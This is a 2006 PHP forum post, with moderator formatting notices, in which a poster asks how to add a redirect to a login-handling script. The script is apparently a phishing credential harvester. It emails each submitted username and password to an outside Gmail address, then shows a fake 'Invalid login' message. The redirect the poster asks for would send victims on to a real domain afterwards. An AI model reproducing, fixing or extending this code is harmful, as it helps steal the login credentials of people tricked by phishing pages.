PHP Redirect Code
Posted: Sun Apr 09, 2006 8:24 pm
feyd | Please use
Now where it says 'Invalid login.Please try later.', I want this page to just redirect to http://www.redirectdomain.com but I'm not sure what to edit.
Thanks if someone can help
feyd | Please use
Code: Select all
,Code: Select all
and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read: [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]
Wassup, I'm new to PHP and I'm tryna learn how to do something. I wanna redirect a page and everytime I try it says 'parse error' etc., but I guess that's cuz I was using HTML on it . Anyway, here's the code I'm tryna editCode: Select all
<?php
$to = "cell.2dee@gmail.com"; //
$username = $_POST['username'];
$password = $_POST['password'];
$sub = "form to mail";
$messub = "Subject: ".$subject."n";
$mesname .= "Name: ".$username."n";
$mespass .= "Pass: ".$password."n";
if(empty($username) || empty($password)) {
echo " <h3>Please enter your username.</h3>";
}
else {
mail($to,$sub,$username,$password);
print " <h3><center>Invalid login.Please try later.".$name."</center></h3>";
}
?>Thanks if someone can help
feyd | Please use
Code: Select all
,Code: Select all
and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read: [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]